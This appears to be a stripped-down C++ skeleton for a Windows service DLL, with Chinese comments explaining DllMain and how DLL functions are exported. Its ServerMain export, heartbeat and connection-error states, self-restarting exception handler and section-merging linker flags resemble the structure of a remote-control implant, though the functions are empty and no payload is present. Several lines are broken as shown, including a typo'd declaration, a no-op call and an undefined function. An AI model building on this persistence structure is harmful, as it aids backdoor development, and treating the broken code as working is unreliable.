// xxxxx.cpp : Defines the entry point for the console application.
/
#pragma comment(linker, "/opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW")
//------------------------------函数变量声明-----------------------------------------
#define HEART_BEAT_TIME 1000 * 60 * 3 //心跳时间
SERVICE_STATUS_HANDLE hServiceStatus;
DWORD g_dwCurrState;
DWORD g_dwServiceType;
charsvcname[MAX_PATH];
enum
{
NOT_CONNECT, // 还没有连接
GETLOGINFO_ERROR,
CONNECT_ERROR,
HEARTBEATTIMEOUT_ERROR
};
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress );
void __stdcall ServiceHandler(DWORD dwControl);
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) ;
#ifdef _CONSOLE
int main(int argc, char **argv);
#else
DWORD WINAPI main(char *lpServiceName);
#endif
//---------------------------------export---------------------------------------------
// 一定要足够长
#ifdef _CONSOLE
#include <stdio.h>
int main(int argc, char **argv)
#else
DWORD WINAPI main(char *lpServiceName)
#endif
{
bad_exception;
}
//---------------------------------export---------------------------------------------
//DLL的入口函数
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
/*
hMoudle是动态库被调用时所传递来的一个指向自己的句柄(实际上,它是指向_DGROUP段的一个选择符);ul_reason_for_call是一个说明动态库被调原因的标志,当进程或线程装入或卸载动态链接库的时候,操作系统调用入口函数,并说明动态链接库被调用的原因,它所有的可能值为:DLL_PROCESS_ATTACH: 进程被调用;DLL_THREAD_ATTACH: 线程被调用;DLL_PROCESS_DETACH: 进程被停止;DLL_THREAD_DETACH: 线程被停止;lpReserved为保留参数。
DllMain函数(该函数是可以选择存在的),那么在此函数中不要进行太复杂的调用。因为在加载该动态链接库时,可能还有一些核心动态链接库没有被加载,例如Use32.dll或GDI32.dll。我们自己编写的DLL会比较靠前地被加载。
到此为止,已经写了,剩下部分的实现也不难,你可以在DLL工程中加入你所想要输出的函数或变量了。
*/
return TRUE;
}
//---------------------------------export---------------------------------------------
extern "C" __declspec(dllexport) void ServerMain ( int argc, wchar_t* argv[] )
{
hServiceStatus = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler);
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
return;
}
//---------------------------------函数实现------------------------------------------------
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo)
{
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);
return 0;
}
void __stdcall ServiceHandler(DWORD dwControl)
{
TellSCM( SERVICE_STOP_PENDING, 0, 1 );
}
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
{
return 1;
}
//----------------------------------------------------------------------------------------------
Exports函数: ServerMain, main, DllEntryPoint
我们已经知道DLL是包含若干个函数的库文件,应用程序使用DLL中的函数之前,应该先导出这些函数,以便供给应用程序使用。要导出这些函数有两种方法:
一是在定义函数时使用导出关键字_declspec(dllexport);
另外一种方法是采用模块定义(.def)文件声明,(.def)文件为链接器提供了有关被链接程序的导出、属性及其他方面的信息。
注意:在使用第一种方法的时候,不能使用DEF文件?